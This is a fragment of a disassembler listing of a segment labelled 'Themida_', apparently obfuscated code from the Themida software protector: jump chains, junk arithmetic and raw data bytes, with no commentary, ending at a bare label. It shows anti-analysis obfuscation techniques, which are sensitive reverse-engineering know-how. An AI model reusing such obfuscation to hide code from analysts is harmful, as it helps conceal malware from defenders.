loc_54C38C: ; CODE XREF: Themida_:00545551j
mov edx, 6D140DA8h
add edx, 488224F3h
dec edx
or edx, 2B163E8Bh
inc edx
xor edx, 0B43BD97Fh
xor ebp, edx
pop edx
add eax, ebp
pop ebp
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_54A586
; ---------------------------------------------------------------------------
db 0F7h
dd 77BE56D2h, 0E979BB6Fh, 0FFFFAA8Dh
; ---------------------------------------------------------------------------
loc_54C3CC: ; CODE XREF: Themida_:0054C4F5j
pop esp
mov [esp], dx
push ax
pushf
jmp loc_5419D8
; ---------------------------------------------------------------------------
db 33h, 3Ch, 24h
dd 6624248Bh, 0E9C8BE0Fh, 0FFFF9AE5h, 5C243487h, 0FF9B68E9h
dd 88FC34FFh, 3CE958C1h, 89000012h, 9361E9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C402: ; CODE XREF: Themida_:00544AF2j
add [esp+2], ax
add word ptr [esp+2], 6E7Eh
add word ptr [esp+2], 7452h
mov ax, [esp]
add esp, 2
jmp loc_541378
; ---------------------------------------------------------------------------
aYh db 'Yh°',27h,0
dw 8900h
dd 0E950241Ch, 0FFFF6590h, 1015E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C436: ; CODE XREF: Themida_:005471D9j
push esi
jmp loc_5414AA
; ---------------------------------------------------------------------------
dword_54C43C dd 0FF4F37E9h, 0EC8151FFh, 4, 50241489h, 0E17953B8h, 0E503E954h
dd 0D5F7FFFFh, 6705ED81h, 0EDC16DD5h, 2FF58107h, 1011F6Fh
dd 0C6815DEEh, 2, 2474FF56h, 24348B04h, 4C481h, 48F0000h
dd 6A5CE924h, 0DFF7FFFFh, 97B6E951h, 8956FFFFh, 0E8A0E9E6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C496: ; CODE XREF: Themida_:005467B2j
xor edi, 724BF2D9h
jmp loc_541C06
; ---------------------------------------------------------------------------
db 1, 0F3h, 0E9h
dd 0FFFF5DFAh, 0E953E689h, 0FFFF6AADh, 2404A30Fh, 8F17E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C4BA: ; CODE XREF: Themida_:0054826Aj
add edi, 519035D3h
xor edi, 93BA5825h
add eax, 707E1508h
jmp loc_547067
; ---------------------------------------------------------------------------
dd 52595451h, 0E0196EBAh, 42D2F72Eh, 79E3E281h, 4AE900D4h
db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C4E7: ; CODE XREF: Themida_:0054266Dj
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_54C3CC
; ---------------------------------------------------------------------------
loc_54C4FA: ; CODE XREF: Themida_:00549268j
sub edi, ecx
pop ecx
sub ecx, 5F411811h
jmp loc_54827F
; ---------------------------------------------------------------------------
dd 0A3E9515Bh
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C50F: ; CODE XREF: Themida_:00544B23j
mov ebp, 529F3DB3h
sub ebp, 68812850h
jmp loc_5487C2
; ---------------------------------------------------------------------------
db 81h
dd 0C08910E9h, 6B22E9F1h, 0E954FFFFh, 0FFFFB71Ah, 41E9028Fh
db 4Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C537: ; CODE XREF: Themida_:005419D3j
sub dword ptr [esp+4], 58C87A26h
push dword ptr [esp]
pop eax
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
add ecx, 16D83912h
push ebx
push edi
jmp loc_54D087
; ---------------------------------------------------------------------------
loc_54C570: ; CODE XREF: Themida_:0054AD6Aj
pop ebx
sub esp, 4
mov [esp], ebx
jmp loc_542007
; ---------------------------------------------------------------------------
loc_54C57C: ; CODE XREF: Themida_:0054921Cj
xor dh, 73h
push ebx
jmp loc_54A243
; ---------------------------------------------------------------------------
db 87h, 1Ch, 24h
dd 8124248Bh, 4ECh, 24148900h, 0FF7764E9h, 0C6A0B9FFh
dd 0C829A722h, 55FBE959h, 8B66FFFFh, 0E068240Ch, 89000018h
dd 0EC81243Ch, 4, 0FFB54AE9h, 2BEFFh, 0DFE90000h, 81000003h
dd 4C3h, 4EB8100h, 87000000h, 0A6E9241Ch, 0E9FFFFC9h, 0FFFF4D98h
dd 0E9E7EA80h, 0FFFFF022h, 7EBE56ADh, 0F7325236h, 26F681D6h
dd 1BF09C3h, 0D8015EF0h, 0FFD10DE9h, 40B353FFh, 0FF5C8BE9h
dd 245401FFh, 2434FF04h, 0E689565Ah, 4C681h, 0C6810000h
dd 4, 5C243487h, 0C2242C81h, 50057866h, 0FF4F9CE9h, 19E95FFFh
dd 68FFFFD5h, 6E3Fh, 57242C89h, 3266B9BFh, 5FFD8919h, 994BC581h
dd 0BA52E6CDh, 130E71D0h, 5EBF281h, 0C6E9291Ch, 89FFFFE4h
dd 4C281E2h, 81000000h, 4C2h, 24148700h, 0E924248Bh, 0FFFFE988h
dd 5D1BAFBFh, 29F78114h, 503B3068h, 911424B8h, 14F7505Eh
dd 0E8C15824h, 67970508h, 0C7011F09h, 0E924048Bh, 0B3Bh
dd 4031EF81h, 815E1781h, 2C7h, 243C8700h, 6624248Bh, 55240C8Bh
dd 8904EC83h, 4832424h, 815D0424h, 4C5h, 2BA5200h, 56000000h
dd 0F95ECDBEh, 0E9F5016Ah, 0FFFFEF81h, 0D86C35BAh, 5AD6896Bh
dd 6C37F681h, 3C2D6BD8h, 2907C625h, 253C05F0h, 335E07C6h
dd 4312404h, 24043324h, 0E924248Bh, 0FFFF79DBh, 0E681D6F7h
dd 138D743Eh, 2FDEE81h, 0C681462Eh, 17DF39E6h, 54DDC681h
dd 0EA811CC1h, 132F0552h, 0E951F201h, 0FFFF91C0h, 42474FFh
dd 24048F5Eh, 0D224248Bh, 0E99C242Ch, 0FFFF76BDh, 4C18159h
dd 68000000h, 2B38h, 0BD242C89h, 3BD41E6Dh, 633AC581h
dd 0C5811182h, 0B2A97E5Dh, 0FFBC5DE9h, 4C481FFh, 81000000h
dd 814031C7h, 0E9F70117h, 0FFFFFF24h
; ---------------------------------------------------------------------------
loc_54C77C: ; CODE XREF: Themida_:00543454j
xor ebx, 0FE394EAh
or edx, ebx
jmp loc_547EDB
; ---------------------------------------------------------------------------
db 0BAh, 8Ch, 8
dd 0D32912D1h, 0E9DA295Ah, 0FFFFC138h, 59CD2958h, 7BD1C181h
dd 0E9014CA1h, 7BD1E981h, 2C8B4CA1h, 4C48124h, 0E9000000h
dd 0FFFF97F2h, 0F480D4F6h, 80D4F620h, 0E38896F4h, 0FF61AEE9h
dd 405FFh, 0E9560000h, 0FFFF636Fh, 4C481h, 0C1810000h
dd 4, 0E904EC83h, 0FFFF7649h, 0D7F670B7h, 0E953F780h, 0FFFFA726h
dd 4C4815Ch, 68000000h, 60BCh, 52242C89h, 8D6FC0BAh, 0E9D58905h
dd 0FFFFAF3Ch, 7D8A68h, 24348900h, 99240481h, 8B41C028h
dd 54512404h, 0F3E95659h, 1FFFF64h, 0B8505FFEh, 3664BC8h
dd 362DD8F7h, 29FC99B4h, 6FFE9C6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C842: ; CODE XREF: Themida_:005471C2j
xchg ebp, [esp]
jmp loc_544248
; ---------------------------------------------------------------------------
dw 0CA01h
dd 898CE959h, 8B66FFFFh, 5452240Ch, 4C2815Ah, 53000000h
dd 10E9E389h
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C867: ; CODE XREF: Themida_:00549966j
xchg ebp, [esp]
pop esp
not edx
add edx, 0FFFD5BE2h
sub edi, 44392FF0h
add edi, edx
push ebx
mov ebx, 644052BEh
jmp loc_543A47
; ---------------------------------------------------------------------------
loc_54C886: ; CODE XREF: Themida_:005487BDj
or eax, eax
jz loc_54353E
push dword ptr [edi+28h]
sub dword ptr [esp], 12C83A7Ch
jmp loc_54D6F4
; ---------------------------------------------------------------------------
loc_54C89D: ; CODE XREF: Themida_:00541BF7j
xor edx, 22717E48h
jmp loc_54CC26
; ---------------------------------------------------------------------------
loc_54C8A8: ; CODE XREF: Themida_:00547FC5j
xor al, 8
jmp loc_544128
; ---------------------------------------------------------------------------
db 83h
dd 148704EAh, 4895C24h, 34BA5224h, 811FBF67h, 165765EAh
dd 0BDE28112h, 81167E14h, 458735C2h, 0E9D08993h, 0FFFFD8ADh
dd 241C8B66h, 0E904EC83h, 0FFFF7B8Ah, 6FBE565Ah, 811AC977h
dd 56582DCEh, 81DEF736h, 913D65C6h, 768DE93Ah, 0E789FFFFh
dd 4C781h, 0C7810000h, 4, 5C243C87h, 815B5453h, 4C3h, 6956800h
dd 4890000h, 2C92B824h, 0E950187Fh, 0FFFFC1D4h, 5C24048Fh
dd 56241C89h, 7F34A9BEh, 364E921h, 8B660000h, 168240Ch
dd 89000058h, 0FF54241Ch, 815B2434h, 4C4h, 0A2E95200h
dd 68FFFF5Bh, 2C24h, 50241489h, 0FFDBA3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C969: ; CODE XREF: Themida_:005470D0j
or edx, ebp
pop ebp
shr edx, 6
neg edx
jmp loc_541A09
; ---------------------------------------------------------------------------
dw 2C31h
dd 242C3324h, 6624248Bh, 9C240429h, 0FF49EFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C989: ; CODE XREF: Themida_:00542484j
not ecx
xor ecx, 0D022983Fh
mov eax, ecx
mov ecx, [esp]
add esp, 4
add ebx, eax
pop eax
xchg ebx, [esp]
pop esp
push esi
jmp loc_54D521
; ---------------------------------------------------------------------------
dw 0F001h
dd 2404875Eh, 0AB0F665Ch, 0E99C2404h, 0FFFF49C0h, 0E924048Bh
dd 0FFFF7C15h, 0E9C80F5Ch, 0FFFF4F21h, 3ECB685Fh, 4890000h
dd 6865B824h, 61E97427h
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C9DB: ; CODE XREF: Themida_:0054C21Ej
xchg eax, [esp]
pop esp
mov [esp], ebx
push edx
mov edx, 785006F5h
dec edx
push edi
mov edi, 60874409h
neg edi
add edi, 37BF4E04h
shl edi, 4
dec edi
jmp loc_54192F
; ---------------------------------------------------------------------------
dd 48BC231h, 0E1895124h, 4C181h, 57E90000h
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CA13: ; CODE XREF: Themida_:00549F62j
push edx
mov edx, 3CC44E0Bh
add edx, 35946237h
xor edx, 16A71713h
inc edx
shl edx, 4
jmp loc_549D7A
; ---------------------------------------------------------------------------
dw 0E789h
dd 4C781h, 0EF830000h, 74FF5704h, 0E95F0424h, 0FFFFFEE8h
dd 7C7E981h, 0D10116A0h, 7C7C181h, 815A16A0h, 9610D7E9h
dd 0E4E98142h, 10ACC3Fh, 240C8BCFh, 3304C483h, 3C31243Ch
dd 0F967E924h, 34FFFFFFh, 2434FF24h, 4C48159h, 0E9000000h
dd 0FFFFE18Fh, 7B4D8E68h, 24148B41h, 0FF8580E9h, 242C89FFh
dd 503330BDh, 6DE58174h, 8130136Ch, 0E3217F5h, 45DDF779h
dd 418AC581h, 0EE0189FAh, 1EE815Dh, 81000000h, 0E745A0C6h
dd 61EF81C8h, 1373434h, 9540E9F7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CACA: ; CODE XREF: Themida_:005449E9j
mov ecx, 0
push esi
mov esi, 8D0466Ch
add ecx, esi
pop esi
jmp loc_548F3F
; ---------------------------------------------------------------------------
db 52h, 89h, 0E2h
dd 4C281h, 0C2810000h, 4, 5C241487h, 4BB53h, 0DE010000h
dd 0FF4EE6E9h, 4C483FFh, 5107E8C1h, 4263BBB9h, 15E72D37h
dd 0C8010CA9h, 0A915E705h, 903EE90Ch, 0E952FFFFh, 0FFFF60D4h
dd 8F2AC281h, 0D729E4F0h, 0FFCF76E9h, 24048FFFh, 5B2434FFh
dd 0E904C483h, 0FFFF6475h, 0CC88D988h, 0AA04E959h, 0C7FEFFFFh
dd 0EF80C7FEh, 5BF8000Dh, 0C128C404h, 59C88858h, 0FF528AE9h
dd 6C6868FFh, 14890000h, 0D4EBE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CB6A: ; CODE XREF: Themida_:0054B34Cj
push ecx
jmp loc_54D1FC
; ---------------------------------------------------------------------------
loc_54CB70: ; CODE XREF: Themida_:0054C029j
mov ecx, esi
mov ebx, ecx
pop ecx
pop esi
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
push 6083h
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push esi
jmp loc_545CD1
; ---------------------------------------------------------------------------
dd 68h, 24342900h, 0FFA06FE9h, 53555AFFh, 7866C2BBh, 6F48E905h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CBBE: ; CODE XREF: Themida_:005496CCj
add eax, ecx
jmp loc_545C8A
; ---------------------------------------------------------------------------
db 5Eh, 8Fh, 4
dd 0B3535C24h, 0F0F38026h, 0FF6E19E9h, 242C89FFh, 0C5815D54h
dd 4, 0FF8CAFE9h, 405FFh, 0C0830000h, 535A6804h, 4890000h
dd 2474FF24h, 48F5804h, 0C5815C24h, 4, 2BE56h, 0F5010000h
dd 242C875Eh, 6624248Bh, 6824048Bh, 2D06h, 54241489h, 0E30E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CC26: ; CODE XREF: Themida_:0054C8A3j
sub edx, 2AE97ACBh
jmp loc_544408
; ---------------------------------------------------------------------------
loc_54CC31: ; CODE XREF: Themida_:0054B486j
mov esi, ecx
jmp loc_54836D
; ---------------------------------------------------------------------------
dd 107EF281h, 0D3091FBDh, 0F3EB815Ah, 0E97FFD16h, 0FFFF7C27h
dd 0D4E92EB5h
db 8Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CC53: ; CODE XREF: Themida_:00542AD0j
xchg ebp, [esp]
pop esp
jmp loc_547F9B
; ---------------------------------------------------------------------------
dd 4C4835Fh, 11E9C231h, 53FFFF47h, 4F6568h, 240C8900h
dd 22FC1B9h, 8BCB8951h, 0C481240Ch, 4, 0D15BDD29h, 30BE56E5h
dd 31D974B7h, 4B36E9F5h, 5488FFFFh, 8B660224h, 0C4832414h
dd 46D6E902h, 0EEC1FFFFh, 4A3CE906h, 0F2B6FFFFh, 0E527E951h
dd 0E957FFFFh, 0FFFF9386h, 6A1C20B9h, 0E7E98104h, 565EA10Fh
dd 45EFB951h, 0F8E95929h
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CCCF: ; CODE XREF: Themida_:00549C38j
mov bh, al
push eax
mov eax, 38h
add eax, edi
jmp loc_5454B2
; ---------------------------------------------------------------------------
dw 0E289h
dd 4C281h, 0C2810000h, 4, 0FFB8DBE9h, 0DDBD55FFh, 45504A69h
dd 5D9AF581h, 0C8E94C81h, 89FFFFE0h, 90E9243Ch, 5DFFFF76h
dd 0E904C483h, 0FFFFE839h, 0F031C631h, 0FF6F50E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CD1D: ; CODE XREF: Themida_:0054480Aj
push 55Eh
mov [esp], edx
jmp loc_54BF91
; ---------------------------------------------------------------------------
dw 0EA80h
dd 0E9D000C8h, 0FFFF4D30h, 592434FFh, 0E904C483h, 0FFFF8EF0h
dd 535DEA89h, 0D9895B52h, 0DE95A5Bh, 28FFFFD1h, 0AC32E9C8h
dd 1489FFFFh, 4815324h, 0F41EC124h, 0EA815A1Bh, 1BF41EC1h
dd 0B02BE952h, 2868FFFFh, 8900007Eh, 0B850240Ch, 51F908DDh
dd 0C108E8C1h, 0BD5502E8h, 0FFEB81BFh, 0FFDACBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CD8D: ; CODE XREF: Themida_:0054C30Ej
add eax, 0FFFFFFFFh
xor eax, 5938DAE0h
push edx
mov edx, 0BCEFD608h
add eax, edx
jmp loc_542073
; ---------------------------------------------------------------------------
dw 8B66h
dd 8952240Ch, 4C281E2h, 81000000h, 2C2h, 24148700h, 4EC815Ch
dd 89000000h, 0B1512414h, 302CB6DBh, 90E959CEh, 0FEFFFFE9h
dd 2CE80C6h, 0FF7880E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CDD9: ; CODE XREF: Themida_:0054D81Ej
inc ecx
push esi
mov esi, 7C3272A9h
xor ecx, esi
pop esi
xor ecx, 6FB35470h
inc ecx
push edi
mov edi, 4B054A5Fh
or edi, 52AD6FF6h
jmp loc_547E49
; ---------------------------------------------------------------------------
db 0BDh
dd 3F542ECCh, 0FFEDF6E9h, 0E38953FFh, 96CBE957h, 148BFFFFh
dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FF9842E9h
dd 454AE9FFh, 0C831FFFFh, 0FFE45DE9h, 4C483FFh, 8B24048Fh
dd 89662424h, 0F66240Ch, 5166C8B6h, 452AE99Ch, 7401FFFFh
dd 44810424h, 3730424h, 835E770Eh, 3C8904ECh, 6285BF24h
dd 0BF573AC5h, 1E371C1Dh, 0FF7FD2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CE71: ; CODE XREF: Themida_:0054164Cj
push eax
jmp loc_543D1B
; ---------------------------------------------------------------------------
db 52h
dd 0FFE5D6E9h, 0E96304FFh, 0FFFFC407h, 7E8C15Dh, 0F6539C05h
dd 581F0D06h, 0CEE91301h, 0C1FFFF9Eh, 350D02E0h, 0E94EF339h
dd 0AE1h, 34A62D5Ah, 0E8016BF8h, 22CE9h, 2C48100h, 66000000h
dd 375BC381h, 50C32966h, 2ADEB866h, 0FFC631E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CEC9: ; CODE XREF: Themida_:00544686j
push esp
mov ebx, [esp]
add esp, 4
push ecx
jmp loc_549881
; ---------------------------------------------------------------------------
dw 34FFh
dd 0F379E924h, 0F781FFFFh, 3EE54848h, 0FFB4F6E9h, 27C968FFh
dd 1C890000h, 0E94FB324h, 0FFFF9A3Dh, 6851E089h, 0E3F76EBh
dd 0FFD2A5E9h, 242C8BFFh, 904C483h, 0E95B1C5Fh, 0FFFFF528h
dd 4903D4B9h, 81D1F753h, 0DB11E1C1h, 87D9F70Ch, 87D2F7D1h
dd 81D9F7D1h, 0EDA32F1h, 59CD2178h, 0FF7977E9h, 240489FFh
dd 0FFE3CAE9h, 166858FFh, 8900000Fh, 74FF2434h, 34FF0424h
dd 0DEE95E24h, 83FFFFFEh, 0A0E904EBh, 0FFFFFFEDh, 68592434h
dd 530Ah, 89243489h, 4C681E6h, 57000000h, 2BB5BD55h, 0F5E90CB0h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CF7F: ; CODE XREF: Themida_:005428B4j
add esp, 4
jmp loc_547002
; ---------------------------------------------------------------------------
loc_54CF8A: ; CODE XREF: Themida_:00549DAAj
xor ebx, edx
jmp loc_541490
; ---------------------------------------------------------------------------
db 66h, 5Bh, 0E9h
dd 0FFFFD277h
; ---------------------------------------------------------------------------
loc_54CF98: ; CODE XREF: Themida_:00548481j
sub bl, dh
jmp loc_5457C7
; ---------------------------------------------------------------------------
db 87h
dd 0E95C241Ch, 0FFFF85AEh
; ---------------------------------------------------------------------------
loc_54CFA8: ; CODE XREF: Themida_:00543E5Dj
pop ecx
or ebx, 4E63DF6h
and ebx, 526F2375h
shl ebx, 6
dec ebx
xor ebx, 0F7954Ch
xor eax, ebx
pop ebx
jmp loc_54BC6D
; ---------------------------------------------------------------------------
db 0C1h
dd 0D9F703E1h, 3BB5C181h, 0CE896F13h, 8BF13159h, 0C4832434h
dd 0E9CA0104h, 0FFFFCE3Ch, 0FFE9015Dh, 815D2434h, 4C4h
dd 4E98100h, 87000000h, 895C240Ch, 9C502414h, 0FF4373E9h
dd 4C181FFh, 51000000h, 42474FFh, 0FFC82FE9h, 0E95A58FFh
dd 0FFFF569Dh, 0E9241C8Bh, 0FFFFD913h, 9D1C77FFh, 4185866h
dd 45E99C24h, 59FFFF43h, 42Dh, 24048700h, 240C895Ch, 0FFAB39E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D045: ; CODE XREF: Themida_:00545DC5j
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_545FB8
; ---------------------------------------------------------------------------
db 5Bh, 1, 0FEh
dd 0FFECC1E9h, 51F828FFh, 7E2C26B5h, 0FFED8EE9h, 5141B5FFh
dd 0EA88BCB5h, 0FF4772E9h, 5AD501FFh, 24B9BA52h, 0E3E9421Dh
db 7Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D087: ; CODE XREF: Themida_:0054C56Bj
push 7CA93CC6h
jmp loc_5480F7
; ---------------------------------------------------------------------------
db 50h, 89h, 0E0h
dd 405h, 40500h, 4870000h, 56585C24h, 4C0CE957h, 8B66FFFFh
dd 1682404h, 8900004Ah, 5B54241Ch, 8904EC83h, 4B82404h
dd 1000000h, 535058C3h, 0FF9416E9h, 0E9895FFFh, 0B8FAE95Dh
dd 0D530FFFFh, 0FFDC92E9h, 34A605FFh, 295D6BF8h, 48B2447h
dd 4C48124h, 68000000h, 5F44h, 0FFBE96E9h, 3ECE81FFh, 5006E548h
dd 7FE9h
db 0
; ---------------------------------------------------------------------------
loc_54D105: ; CODE XREF: Themida_:00541FF3j
push 6BB9h
mov [esp], ebx
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5459A0
; ---------------------------------------------------------------------------
loc_54D123: ; CODE XREF: Themida_:005461CBj
add esp, 4
jmp loc_543084
; ---------------------------------------------------------------------------
loc_54D12B: ; CODE XREF: Themida_:00548D73j
sub esi, 341327F6h
xor esi, 0C9448BA3h
mov ebp, esi
jmp loc_54B32C
; ---------------------------------------------------------------------------
loc_54D13E: ; CODE XREF: Themida_:00541EF3j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
or [esp], al
pushf
jmp loc_541378
; ---------------------------------------------------------------------------
db 33h, 1Ch, 24h
dd 33241C31h, 248B241Ch, 137E924h, 0EB290000h, 83242C8Bh
dd 0BF5704C4h, 49602471h, 3C8BFB01h, 6C02E924h, 0A868FFFFh
dd 0E900006Ah, 312h, 0B348C0B8h, 3A8F0556h, 0B9517FFBh
dd 0B8D712Fh, 6643E981h, 0C801EB67h, 4D272D59h, 0E8C16FFBh
dd 73A02D05h, 0B90514CAh, 318F590Fh, 814E58C6h, 0C1615F6h
dd 0D7BA5253h, 815FD223h, 9A20FCEEh, 81D6290Eh, 9A20FCC6h
dd 0F6815A0Eh, 0C35C17B5h, 1DE9F001h, 83FFFF7Eh, 0FE8904C4h
dd 0D9C6815Fh, 5D2AC95h, 34B4613Ah, 0FFB443E9h, 24248BFFh
dd 0E9243C89h, 0FFFF46A1h
; ---------------------------------------------------------------------------
loc_54D1FC: ; CODE XREF: Themida_:0054CB6Bj
push esp
pop ecx
add ecx, 4
jmp loc_54D3B4
; ---------------------------------------------------------------------------
db 31h, 3Ch, 24h
dd 0FFD901E9h, 241C89FFh, 0BDE9CAB7h, 66FFFF57h, 57240C8Bh
dd 0BE56E789h, 409C374Fh, 0FF9F24E9h, 4146E9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D232: ; CODE XREF: Themida_:0054915Ej
pop edi
jmp loc_545D33
; ---------------------------------------------------------------------------
dd 0E484F781h, 8D2DCE0Fh, 107B95Fh, 84B1E9F8h, 8B66FFFFh
dd 0C481241Ch, 2, 33C968h, 240C8900h, 3BB25253h, 3DE909B7h
dd 0F7FFFFD1h, 6CEF81D7h, 126A977h, 685FF8h, 0E9000075h
dd 0FFFF8937h, 405E089h, 0E9000000h, 4D1h, 24048F5Fh, 0FFD0B0E9h
dd 243C8BFFh, 0FF4798E9h, 240C89FFh, 2848BB53h, 4AB909D1h
dd 2909D128h, 0EA815BD9h, 291764A7h, 0C281CA01h, 291764A7h
dd 83240C8Bh, 2DE904C4h, 66FFFFE4h, 0ADE99C51h, 59FFFF40h
dd 5224148Bh, 0A740E954h, 48BFFFFh, 4C48324h, 0FF42E1E9h
dd 0BB0559FFh, 0E93B8D47h, 14Fh, 6DE9C009h, 2CFFFF60h
dd 595A66D8h, 0B60FC330h, 148B66C0h, 7620E924h, 0B951FFFFh
dd 3BB34030h, 5DAFE181h, 0D9F72B40h, 590FE181h, 0C1416B26h
dd 0C18107E9h, 0FF7FB3D2h, 6859CB01h, 4DFAh, 53243489h
dd 2BBh, 5BDE8900h, 348BF329h, 4C48324h, 31241C33h, 1C33241Ch
dd 24248B24h, 0FFAFC2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D351: ; CODE XREF: Themida_:0054A0C6j
xchg edi, [esp]
jmp loc_54BF52
; ---------------------------------------------------------------------------
db 95h, 58h, 57h
dd 0FFFFFFBFh, 0CFF9E9FFh, 0D830FFFFh, 0FF6CDFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D36D: ; CODE XREF: Themida_:00542181j
xchg ecx, [esp]
pop esp
xor ebp, 5C19166Ch
mov edi, ebp
push dword ptr [esp]
pop ebp
push ecx
jmp loc_5482BF
; ---------------------------------------------------------------------------
loc_54D383: ; CODE XREF: Themida_:00541B75j
shr ecx, 2
jmp loc_547655
; ---------------------------------------------------------------------------
db 0Fh
dd 0FFA3EE84h, 1C77FFFFh, 592434FFh, 0C9D5E955h, 0C89FFFFh
dd 81E18924h, 4C1h, 4E98100h, 0E9000000h, 0FFFF670Fh
; ---------------------------------------------------------------------------
loc_54D3B4: ; CODE XREF: Themida_:0054D204j
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_548759
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 1000000h, 4CBF57D8h, 815E6F3Fh, 11304BF7h, 4E7C155h
dd 0E902EFC1h, 0FFFF79F0h, 3502E0C1h, 31B8311Dh, 799672Dh
dd 0E9C30102h, 0FFFF5893h
; ---------------------------------------------------------------------------
loc_54D3F8: ; CODE XREF: Themida_:0054258Fj
mov [esp], esi
mov esi, 29267EE7h
sub esi, 29267EE7h
mov [edx+38h], esi
mov esi, [esp]
push edi
jmp loc_5459FB
; ---------------------------------------------------------------------------
dw 0E981h
dd 26D454AAh, 975BF181h, 0CB01485Bh, 0E9240C8Bh, 0FFFFC397h
dd 6F70D2B8h, 0D3F7937Eh, 70D70593h, 0D5E97E6Fh, 29FFFF54h
dd 47BB2DD0h, 835A3B8Dh, 0F9E904ECh, 0C0FFFFA2h, 0CF8004E7h
dd 0AF78071h, 0E95BF830h, 0FFFFE346h, 58C2015Eh, 0D2F7D2F7h
dd 0FF888BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D469: ; CODE XREF: Themida_:0054B3D0j
pop ebp
xor eax, 76B51E71h
or esi, eax
jmp loc_54B314
; ---------------------------------------------------------------------------
a_hsl db '_h‘l',0
align 4
dd 51241C89h, 0FFB1E3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D485: ; CODE XREF: Themida_:005463C6j
xor edx, [esp]
mov esp, [esp]
add esp, 4
jmp loc_541378
; ---------------------------------------------------------------------------
dw 0C89h
dd 0B924h, 9AE90000h, 53FFFF42h, 0C381E389h, 4, 0FFC53EE9h
dd 59CE01FFh, 0FF6266E9h, 36E952FFh, 1FFFFEBh, 0EC815EF1h
dd 4, 51240489h, 0B64DEFB9h, 0B98CE962h, 0C481FFFFh, 4
dd 4C481h, 91E90000h, 81FFFF3Eh, 4C6h, 4EE8300h, 0E9243487h
dd 0FFFFB956h, 76E06852h, 425A2951h, 357FCA81h, 0E2810E64h
dd 385F77BEh, 8846C281h, 0D089D7AAh, 8324148Bh, 0C12904C4h
dd 0FFB64CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D521: ; CODE XREF: Themida_:0054C9A1j
sub esp, 4
jmp loc_548D63
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 7E556800h, 2C890000h, 575D5424h, 0FF4B19E9h
dd 0E9D8F6FFh, 0FFFFE8BAh, 8B5AD629h, 0D6E9243Ch
db 54h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D557: ; CODE XREF: Themida_:0054AEBBj
push 59BA503Ah
pop eax
xor eax, 0A645AFC5h
mov ebx, eax
pop eax
add ebp, ebx
pop ebx
jmp loc_546C0F
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 8E6A29BEh, 0C108E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D57A: ; CODE XREF: Themida_:0054ACE0j
add edx, 8E4B92Eh
jmp loc_54396D
; ---------------------------------------------------------------------------
db 57h, 89h, 0E7h
dd 4C781h, 0C7810000h, 2, 0FFCF0AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D599: ; CODE XREF: Themida_:00544765j
pop edx
sub [edi+24h], ebx
mov ebx, [esp]
sub esp, 4
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_545DAE
; ---------------------------------------------------------------------------
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5434B2
; ---------------------------------------------------------------------------
loc_54D5C7: ; CODE XREF: Themida_:00547AA5j
xchg ebp, [esp]
pop esp
mov [esp], eax
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_5450C7
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 0FFFFE315h, 0AE4DE955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D5E6: ; CODE XREF: Themida_:0054438Bj
